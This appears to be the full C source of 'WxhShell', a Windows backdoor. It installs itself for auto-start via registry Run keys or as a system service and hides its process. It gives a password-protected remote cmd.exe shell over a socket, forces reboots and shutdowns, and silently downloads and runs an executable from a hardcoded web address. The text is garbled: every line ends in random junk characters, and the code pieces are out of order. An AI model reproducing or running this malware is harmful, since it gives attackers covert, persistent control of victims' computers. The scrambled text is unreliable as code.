    if(Boot(SHUTDOWN)) C' o4Su#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Nsb@0  
    else { Ni(D[?mZ  
    closesocket(wsh); K}1>n2P  
    ExitThread(0); tPDV"Md#m<  
    } XaR(q2s  
    break; S2*-UluG  
    } H*A)U'`  
  // 获取shell ) Z0  
  case 's': { /?9e{,\s  
    CmdShell(wsh); eOZA2  
    closesocket(wsh); \$yI'q  
    ExitThread(0); 7: J6 F  
    break; "Y7RvL!U  
  } oYup*@t  
  // 退出 X. UN=lu  
  case 'x': { hkRv0q.'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ipb 4{A&"\  
    CloseIt(wsh); U :J~O y_Z  
    break; hh|'Uq3  
    } `Rm2G  
  // 离开 j0kEi+!TVq  
  case 'q': { B>o #eW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  8Nd +  
    closesocket(wsh); 7>9/bB+TL  
    WSACleanup(); $*G]6s  
    exit(1); <$Q&n{  
    break; 8T&m{s  
        } )fA9,yNJ3  
  } -+'{C =  
  } tqmM7$}}P  
s%H5Qa+Uh  
  // 提示信息 1&i!92:E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P+%O]v1 Ob  
} 9cQKXh:R.  
  } <Zl0$~B:5  
]\+bx=  
  return; Gvtd )9^<  
} &.K8c phj  
x|F6^d   
// shell模块句柄 E-E+/.A  
int CmdShell(SOCKET sock) SXwgn >  
{ fx99@%Ii  
STARTUPINFO si; S]K^wj[  
ZeroMemory(&si,sizeof(si)); ]m=* =LLC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QEQ8gfN9>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kcsje_I-M  
PROCESS_INFORMATION ProcessInfo; q.K >v'  
char cmdline[]="cmd"; ]^8:"Ky'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +M-' K19  
  return 0; ^Ac0#oX]M  
} pZlBpGQf  
%vxd($Ti"  
// 自身启动模式 1Q#hanh_`  
int StartFromService(void) Nr:%oD_G*  
{ i._d^lR\t  
typedef struct K{x<zv&,  
{ M GN*i9CE  
  DWORD ExitStatus; [<1i[\^  
  DWORD PebBaseAddress; '+f!(teLz  
  DWORD AffinityMask; 'gI58#v  
  DWORD BasePriority; rZKv:x}{6  
  ULONG UniqueProcessId; No =f&GVg  
  ULONG InheritedFromUniqueProcessId; '?_I-="Mr  
}   PROCESS_BASIC_INFORMATION; AY [7yPP  
[9'5+RXw3  
PROCNTQSIP NtQueryInformationProcess; Dr7,>Yx  
J4!Z,-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &EE6<-B-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8ENAif   
X xB*lX  
  HANDLE             hProcess; xDRK^nmC  
  PROCESS_BASIC_INFORMATION pbi; E36<Wog  
ugVsp&i#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N]KqSpPh  
  if(NULL == hInst ) return 0; X H{5E4P  
&7E0H{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MCz +l0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Y` 0}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rya4sxCh  
s^L\hr  
  if (!NtQueryInformationProcess) return 0; "y_$!KY%  
h*_r=' E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o'>jO.|  
  if(!hProcess) return 0; <2}"Y(zwKl  
&X}9D)\UJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wq&TbWR  
djZOx;/  
  CloseHandle(hProcess); I".d>]16|  
0t/S_Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0:v7X)St  
if(hProcess==NULL) return 0; P:ys--$"  
*v8Cj(69  
HMODULE hMod; }9 qsPn  
char procName[255]; XO"!)qF  
unsigned long cbNeeded; #uuwzE*M_  
}eEF/o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6&.[ :IHw  
OWtN=Gk  
  CloseHandle(hProcess); Qy0bp;V/  
!%T@DT=l&  
if(strstr(procName,"services")) return 1; // 以服务启动 &b"PjtU.X  
/5U?4l(6[f  
  return 0; // 注册表启动 /3FC@?l w4  
} 5IVASqYp  
l]oGhM;  
// 主模块 z#D@mn5\ a  
int StartWxhshell(LPSTR lpCmdLine) <9\_b 6  
{ _ F@>?\B  
  SOCKET wsl; CDU^X$Q  
BOOL val=TRUE; Gx'mVC"{  
  int port=0; 2=["jP!B  
  struct sockaddr_in door; KhXW5hS1  
X+P3a/T  
  if(wscfg.ws_autoins) Install(); ;2#7"a^  
W5J"#^kdF8  
port=atoi(lpCmdLine); axXA y5  
*!C^L"i  
if(port<=0) port=wscfg.ws_port; Vi5RkUY]  
8$?a?7,>|  
  WSADATA data; n?kU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ${6 ;]ye  
{ F. Ihw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .'__ [|-{;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \W/c C'  
  door.sin_family = AF_INET; +es.V /  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `A&64D  
  door.sin_port = htons(port); XImb"7|  
xQWZk`6~L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `4\H'p  
closesocket(wsl); ]#3=GFs/  
return 1; oE-i`;\8  
} -_b}b)2iYN  
42Kzdo|}  
  if(listen(wsl,2) == INVALID_SOCKET) { @105 @9F  
closesocket(wsl); CIO&VK  
return 1; `lcpUWn  
} K'1rS[^>R  
  Wxhshell(wsl); <Ni]\-*  
  WSACleanup(); }{j[  
MttVgNV  
return 0; <aL$d7  
X@|  
} ro^Y$;G  
bG2 !5m4L  
// 以NT服务方式启动 7v%~^l7:x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~q-|cl<  
{ W9a H]9b  
DWORD   status = 0; &W".fRH_O  
  DWORD   specificError = 0xfffffff; TO3Yz3+A  
&*/X*!_HK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EG<K[t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pm3?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BuK82   
  serviceStatus.dwWin32ExitCode     = 0; Dugr{Y/0  
  serviceStatus.dwServiceSpecificExitCode = 0; BR"*-$u0;  
  serviceStatus.dwCheckPoint       = 0; ;rd!kFd#bq  
  serviceStatus.dwWaitHint       = 0; (MJu3t @  
urXM}^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?\ho9nyK  
  if (hServiceStatusHandle==0) return; |W\CV0L2  
Vj~R6   
status = GetLastError(); I-fs*yzj;8  
  if (status!=NO_ERROR) zx;x@";p  
{ d:<{!}BR3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~w4aA<2Uq  
    serviceStatus.dwCheckPoint       = 0; 9at7$Nq  
    serviceStatus.dwWaitHint       = 0; . +.Y`0  
    serviceStatus.dwWin32ExitCode     = status; N:"E%:wSbi  
    serviceStatus.dwServiceSpecificExitCode = specificError; qC`"<R=GX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ywBq9FGhp  
    return; E hd*  
  } X Uh)z  
O6k[1C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {[)J~kC+  
  serviceStatus.dwCheckPoint       = 0; V `@@ufU}  
  serviceStatus.dwWaitHint       = 0; j_p.KF'[?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d~GT w:  
} nCXIWLw  
o?/N4$&5l  
// 处理NT服务事件,比如:启动、停止 9Z7o?S";  
VOID WINAPI NTServiceHandler(DWORD fdwControl) - DL/Hk_r  
{ KWN0$*4  
switch(fdwControl) ke)3*.Y%C  
{ "o=h /q5&  
case SERVICE_CONTROL_STOP: %"+FN2nbm  
  serviceStatus.dwWin32ExitCode = 0; MJ &6 Z*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I?l*GO+pz  
  serviceStatus.dwCheckPoint   = 0; >$HMZbsE  
  serviceStatus.dwWaitHint     = 0; a/`fJY6rR  
  { 4.CLTy3W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GD~3RnGQ{  
  } hMi!H.EX.  
  return; f-4<W0%  
case SERVICE_CONTROL_PAUSE: T5W r;a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8oN4!#:  
  break; AVyo)=&  
case SERVICE_CONTROL_CONTINUE: ROQk^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ZwsTV]x  
  break; y(6&90cr  
case SERVICE_CONTROL_INTERROGATE: /Hx%gKU  
  break; /M B0%6m  
}; h/eKVRGs"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kwZC 3p\\  
} fs~n{z,ja%  
J"FKd3~:E  
// 标准应用程序主函数 NoZz3*j=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .eq-i>  
{ !=q {1\#  
_qJ[~'m<^C  
// 获取操作系统版本 _Ndy;MQ  
OsIsNt=GetOsVer(); w#XE!8`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H\^5>ccU>V  
C=%go1! $  
  // 从命令行安装 8m-jU 5u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ruF+X)  
<(#cPV@j  
  // 下载执行文件 b\]"r x (  
if(wscfg.ws_downexe) { Gash3}+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N|7<*\o  
  WinExec(wscfg.ws_filenam,SW_HIDE); "0zMx`Dh  
} D.R5-  
[9aaHf@'  
if(!OsIsNt) { l<z[)fE{uS  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kq6m5A]z  
HideProc(); P]r"E  
StartWxhshell(lpCmdLine); i!YZF$|  
} *%uv7G@%N  
else MeP U`M--  
  if(StartFromService()) q)<5&|V  
  // 以服务方式启动 9c#9KCmc  
  StartServiceCtrlDispatcher(DispatchTable); "Z}0A/y  
else #;}IHAR  
  // 普通方式启动 V/>SjUNq  
  StartWxhshell(lpCmdLine); v`x~O+  
^/Gjk  
return 0; Mk,8v],-Tj  
} kDO6:sjR7  
fbo64$!hZ  
`acorfpi  
:M|bw{P*  
=========================================== ^b>E_u  
eQ9{J9)?  
br$!}7#=L  
^Fb"Is#S,  
cr,o<  
E3NYUHfZ  
" K<Ct  
[h8F)  
#include <stdio.h> vlzjALy  
#include <string.h> De:w(Rm  
#include <windows.h> pMa 3R3a  
#include <winsock2.h> glk I9~  
#include <winsvc.h> Zb);08X  
#include <urlmon.h> i&.F}bEi  
4B (*{  
#pragma comment (lib, "Ws2_32.lib") K%Q^2"Eb0  
#pragma comment (lib, "urlmon.lib") Mt@K01MI%  
zL)S,  
#define MAX_USER   100 // 最大客户端连接数 6@bGh|   
#define BUF_SOCK   200 // sock buffer +u25>pX  
#define KEY_BUFF   255 // 输入 buffer z13"S(5D~  
s/P\w"/fN  
#define REBOOT     0   // 重启 rYm<U!k  
#define SHUTDOWN   1   // 关机 !4.;Ftgjn  
)m5<gp`  
#define DEF_PORT   5000 // 监听端口 y<3v/ ,Y  
G/<{:R"  
#define REG_LEN     16   // 注册表键长度 /:awPYGH<1  
#define SVC_LEN     80   // NT服务名长度 #c/v2  
1`2lTkg  
// 从dll定义API hn!$?Vo.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5:n&G[Md  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K7e<hdP_#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0b*a2_|8k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z][?'^`^!  
du'$JtZo  
// wxhshell配置信息 9R.tkc|K  
struct WSCFG { Av+ w>~/3  
  int ws_port;         // 监听端口 RA.@(DN&  
  char ws_passstr[REG_LEN]; // 口令 vkbB~gr@*  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;;l(  
  char ws_regname[REG_LEN]; // 注册表键名 .=^h@C*   
  char ws_svcname[REG_LEN]; // 服务名 "lN<v=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9h*$P:S;1v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z:< (b   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?]h+En5z8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2$1rS}}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K<+AJ(C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * k =L  
0Vy* 0\{S  
}; j#!J hi  
s/ZOA[Yux  
// default Wxhshell configuration %R&3v%$y*  
struct WSCFG wscfg={DEF_PORT, ZMx_J  
    "xuhuanlingzhe", ?{{E/J:%  
    1, X]y3~|K  
    "Wxhshell", rM>&! ?y+  
    "Wxhshell", @X\nY</E#M  
            "WxhShell Service", g`J? 2 _]  
    "Wrsky Windows CmdShell Service", "OK(<x]3;>  
    "Please Input Your Password: ", JZP2NB_xt  
  1, - *yj[?6  
  "http://www.wrsky.com/wxhshell.exe", $V5Ol6@ 2  
  "Wxhshell.exe" kN>d5q9b%X  
    }; 7Jc=`Zm'  
zWjGGTP~3&  
// 消息定义模块 3_Oq4/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n]8_]0{qi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +;; fw |/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zROyG  
char *msg_ws_ext="\n\rExit."; D-,sF8{ i  
char *msg_ws_end="\n\rQuit."; cteHuRd  
char *msg_ws_boot="\n\rReboot..."; |'KNR]: N  
char *msg_ws_poff="\n\rShutdown..."; dHOz;4_  
char *msg_ws_down="\n\rSave to "; vBM\W%T|d  
?0_i{BvN  
char *msg_ws_err="\n\rErr!"; tbOe,-U-@  
char *msg_ws_ok="\n\rOK!"; ( !Ml2  
P<2yCovn`  
char ExeFile[MAX_PATH]; xsAF<:S\  
int nUser = 0; F1%' zsv  
HANDLE handles[MAX_USER]; 7g&_`(  
int OsIsNt; OQ[>s(`*{  
(<%i8xu 2  
SERVICE_STATUS       serviceStatus; SAo"+%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y{p *$  
AA05wpu8  
// 函数声明 \uanQ|Nu  
int Install(void); F7"Ihb^l  
int Uninstall(void); Gl1`Nx0  
int DownloadFile(char *sURL, SOCKET wsh); J`"1DlH  
int Boot(int flag); dYr#  
void HideProc(void); lfI[r|  
int GetOsVer(void); "_q5\]z\O  
int Wxhshell(SOCKET wsl); *O 0*  
void TalkWithClient(void *cs); )k7`!@ID  
int CmdShell(SOCKET sock); yUH8  
int StartFromService(void); KrbNo$0%  
int StartWxhshell(LPSTR lpCmdLine); y?5*K  
r0S7e3xb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @H{$,\\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]L_HnmD6  
K"=v| a.  
// 数据结构和表定义 d[S C1J  
SERVICE_TABLE_ENTRY DispatchTable[] = 8Q6il-  
{ S2fw"1h*x  
{wscfg.ws_svcname, NTServiceMain}, )Ba^Igb}  
{NULL, NULL} /!%P7F  
}; 8n&",)U  
EkTen:{G  
// 自我安装 P, S9gG9  
int Install(void) 4AF" +L  
{ f-{[ushj  
  char svExeFile[MAX_PATH]; IndNR:"g  
  HKEY key; EO| kiC   
  strcpy(svExeFile,ExeFile); Y%&6qt G  
S?8q.59  
// 如果是win9x系统,修改注册表设为自启动 H!45w;,I  
if(!OsIsNt) { ~$Mp>ZB2W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y*7ht{B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :fj}J)9'xW  
  RegCloseKey(key); ; 9'*w=V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UT^t7MY#O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3'.OghI  
  RegCloseKey(key); hw1ZTD:Y  
  return 0; jN*A"m  
    } (U7%Z<  
  } h_A}i2/{  
} LRbevpZ,  
else { WO}JIExy  
1":{$A?OB  
// 如果是NT以上系统,安装为系统服务 aa".d[*1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O-&n5  
if (schSCManager!=0) pP".?|n  
{ `*N0 Lbl]  
  SC_HANDLE schService = CreateService m,.d< **  
  ( '2.F-~  
  schSCManager, @Qx;J<{+g  
  wscfg.ws_svcname, %b!p{p  
  wscfg.ws_svcdisp,  F_I! +  
  SERVICE_ALL_ACCESS, ?29 KvT;#]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (p2\H>pTr  
  SERVICE_AUTO_START, awC&xVf  
  SERVICE_ERROR_NORMAL, RcHyePuF)R  
  svExeFile, L g%cVSz/C  
  NULL, e=F' O] 5  
  NULL, v4ueFEY  
  NULL, liU=5 BL  
  NULL, MRJdQCBV  
  NULL  vb70~k  
  ); ,*%8*]<=  
  if (schService!=0) ]X-ZRmB`  
  { $*@mxwMQ}  
  CloseServiceHandle(schService); , g6.d#c  
  CloseServiceHandle(schSCManager); [J*)r8ys  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v=`VDQWq  
  strcat(svExeFile,wscfg.ws_svcname); f0^s*V+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c}{e,t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VKs$J)6  
  RegCloseKey(key); UW>~C  
  return 0; tSO F7N/<  
    } uZQ)A,#n;  
  } 6l>G>)  
  CloseServiceHandle(schSCManager); F]ALZxwkz  
} wvc?2~`  
} r^\^*FD |  
Q5jP`<zWU  
return 1; Z]Qm64^I  
} Y@r#:BH )  
o 86}NqK  
// 自我卸载 kv'n W  
int Uninstall(void) {Qhv HV  
{ D!X{9q}S1  
  HKEY key; -iW[cj R`$  
wLgRI$ _Dm  
if(!OsIsNt) { = tog<7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c`t1:%S  
  RegDeleteValue(key,wscfg.ws_regname); 4 5Ql7~  
  RegCloseKey(key); {`3;Pd`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { De^is^{  
  RegDeleteValue(key,wscfg.ws_regname); #~#_) \l'F  
  RegCloseKey(key); iYnw?4Y  
  return 0; Y&&Y:+ V  
  } ! 4s $ 93  
} \XpPb{:>  
} D&oC1  
else { @RnGK 5  
3s|tS2^4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -({\eL$n  
if (schSCManager!=0) 95H`-A  
{ $OUa3!U_!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <&x_e-;b'  
  if (schService!=0) QOP*vH >J  
  { tq*Q|9j7VG  
  if(DeleteService(schService)!=0) { _@@S,(MA  
  CloseServiceHandle(schService); n@%'Nbc>b  
  CloseServiceHandle(schSCManager); 8l}|.Q#--  
  return 0; x Apa+j6I  
  } iF 67  
  CloseServiceHandle(schService); N..u<06j/  
  } 2`Pk@,:_  
  CloseServiceHandle(schSCManager); "jpjBH:c$  
} lRO8}XSI  
} i>rn!?b  
^%<v| Y(X  
return 1; > *_?^F_  
} _>aesp%  
)pvZM?  
// 从指定url下载文件 $GPA6  
int DownloadFile(char *sURL, SOCKET wsh) j&&^PH9ZY  
{ ct]5\g?U'  
  HRESULT hr; Y]n^(V  
char seps[]= "/"; 4+W}TKw  
char *token; V3`*LU  
char *file; "Srp/g]a  
char myURL[MAX_PATH]; N7M^  
char myFILE[MAX_PATH]; )q=1<V44d  
JRo{z{!O6  
strcpy(myURL,sURL); V,Gt5lL&/!  
  token=strtok(myURL,seps); aI\VqOt]  
  while(token!=NULL) -I|yi'  
  { tb=(L  
    file=token; <<`."RY#0  
  token=strtok(NULL,seps); KS| $_-7 u  
  } Y0b.utR&  
<e=0J8V8,i  
GetCurrentDirectory(MAX_PATH,myFILE); wWm#[f],?  
strcat(myFILE, "\\"); vx ,yz+yP  
strcat(myFILE, file); $]T7Iwk  
  send(wsh,myFILE,strlen(myFILE),0); |fJ,+)_(  
send(wsh,"...",3,0); ?(|!VLu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7v?Ygtv  
  if(hr==S_OK) 2GD%=rP2]  
return 0; J[B8sa  
else PCU6E9~t2  
return 1; *".7O*jjV  
59ivL6=3  
} BPPhVE  
7;_5 [_  
// 系统电源模块 Y Jv{Z^;M  
int Boot(int flag) I%(+tJ  
{ 3oIoQj+D  
  HANDLE hToken; B02~/9*Y"  
  TOKEN_PRIVILEGES tkp; )V>FU=  
r|#4+'  
  if(OsIsNt) { \UE9Ff+{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cr[#D$::`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s9'iHe  
    tkp.PrivilegeCount = 1; /|\`NARI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =]^* -f}J9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); svQDSif  
if(flag==REBOOT) { "Fke(?X'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~k J#IA  
  return 0; jt]+(sx  
} 0\mM^+fO  
else { <iMkHch  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {<_}[} XY  
  return 0; I{2e0  
} zJV4)  
  } ~<$8i}7  
  else { G)putk@   
if(flag==REBOOT) { r&H>JCRZ<=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^]v}AEcmW  
  return 0; %] Bb;0G  
} i|=XW6J%  
else { cvC;QRx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Npu;f>g0_  
  return 0; &zm5s*yNt  
} ? &1?uc  
} [OT@gp:  
>!oN+8[~  
return 1; > W0hrt?b  
} ;j(xrPNb  
cis ~]x%  
// win9x进程隐藏模块 0 @ ,@  
void HideProc(void) d-  ]%  
{ YnNei 7R  
xqG` _S l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (V+(\<M  
  if ( hKernel != NULL ) -Rf|p(SJ,E  
  { adxJA}K}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bEy%S "\<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <n#JOjHV  
    FreeLibrary(hKernel); ) wGC=,  
  } SC!IQ80H#D  
~svu0[Vx  
return; aN7u j  
} QF^An B  
@ce4sSo  
// 获取操作系统版本 0W>O,%z&P#  
int GetOsVer(void) k"n#4o:  
{ hQk mB|];5  
  OSVERSIONINFO winfo; ";zl6g"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pGOS'.K%t8  
  GetVersionEx(&winfo); %+'&$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (_W[~df4  
  return 1; q5`Gl  
  else |6uEf/*DX  
  return 0; CZ0 {*K:  
} > Euput\  
qNvKlwR9;k  
// 客户端句柄模块 R8?A%yxf  
int Wxhshell(SOCKET wsl) `&+ L/  
{ /wK7l-S  
  SOCKET wsh; hqE#BnQxP,  
  struct sockaddr_in client; ;J`X0Vl$  
  DWORD myID; GnLh qm"\  
^yb_aCw  
  while(nUser<MAX_USER) yn=1b:kid  
{ fW\u*dMMZE  
  int nSize=sizeof(client); 'DIE#l`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 85X^T]zo  
  if(wsh==INVALID_SOCKET) return 1; 2R_k$kHl  
[0rG"$(0Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @hv9 =v+  
if(handles[nUser]==0) %Cr- cR0  
  closesocket(wsh); vi=yR  
else H37Z\xS  
  nUser++; ?Jma^ S  
  } O/5W-u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mki=.l$O  
Kp99y  
  return 0; 9R E;50h  
} w"Z >F]YZ  
Uligr_c?  
// 关闭 socket pu^1s#g8w  
void CloseIt(SOCKET wsh) -ss2X  
{ Wd%j;glG  
closesocket(wsh); h&Sl8$jVp  
nUser--; >LNl8X:Cz*  
ExitThread(0); bb<Vh2b>R  
} }\irr9,  
5<S1,u5  
// 客户端请求句柄 6jnRC*!?  
void TalkWithClient(void *cs) (z.Vwl5  
{ G9gvOEI/  
\2LCpN  
  SOCKET wsh=(SOCKET)cs; 1DBzD%@Oz  
  char pwd[SVC_LEN]; !K@y B)9  
  char cmd[KEY_BUFF]; ^8\pJg_0  
char chr[1]; G(4k#jB  
int i,j; 00Rk%QV  
_%>.t  
  while (nUser < MAX_USER) { R@EFG%|`_  
Vt&I[osC  
if(wscfg.ws_passstr) { *r_.o;6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7eO8cPy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I?:V EN:  
  //ZeroMemory(pwd,KEY_BUFF); |;].~7^  
      i=0; Lf,gS*Tg?  
  while(i<SVC_LEN) { 68d@By  
kj[[78  
  // 设置超时 {wm  `  
  fd_set FdRead; ZzE&?  
  struct timeval TimeOut; oNdO@i%.q4  
  FD_ZERO(&FdRead); a#{a{>  
  FD_SET(wsh,&FdRead); ;J _d%  
  TimeOut.tv_sec=8; J) (pGS@  
  TimeOut.tv_usec=0; B[*i}k%i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c9& 8kq5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RXP"v-  
\K4m~e@!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wl,yznT  
  pwd=chr[0]; o 1b#q/  
  if(chr[0]==0xd || chr[0]==0xa) { 8=e \^Q+  
  pwd=0; ?@XO*|xkSk  
  break; *7Mrng  
  } II2oV}7?  
  i++; ;S%wPXj&  
    } :r6 bw  
>,y QG+  
  // 如果是非法用户,关闭 socket c[YC}@l%a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X ak~He  
} {Cd*y6lI  
LO2sP"9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ffWvrY;j[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N$3F4b%+  
[m"X*Z F  
while(1) { .c',?[S/vH  
ePF9Vzq  
  ZeroMemory(cmd,KEY_BUFF); {4Isz-P  
&oR&NKk  
      // 自动支持客户端 telnet标准    t9=rr>8)  
  j=0; 4]g^aaQFd>  
  while(j<KEY_BUFF) { vz _U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uo%zfi?  
  cmd[j]=chr[0]; Sz . _XY^  
  if(chr[0]==0xa || chr[0]==0xd) { -V+fQGZe  
  cmd[j]=0; ;<*VwXJR  
  break; aH~il!K  
  } "44X'G8N  
  j++; d2(n3Xf  
    } > vahj,CZZ  
)9*-Q%zc  
  // 下载文件 :jhJp m1Xq  
  if(strstr(cmd,"http://")) { 's9)\LS>p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y<gmp  
  if(DownloadFile(cmd,wsh)) * 5j iC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[)HPHSQ  
  else |5W u0T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4A*' 0!H  
  } /1^%32c  
  else { [k.<x'#  
v3[ 2!UXq  
    switch(cmd[0]) { 7N:,F9V<  
  |+[ bKqI5  
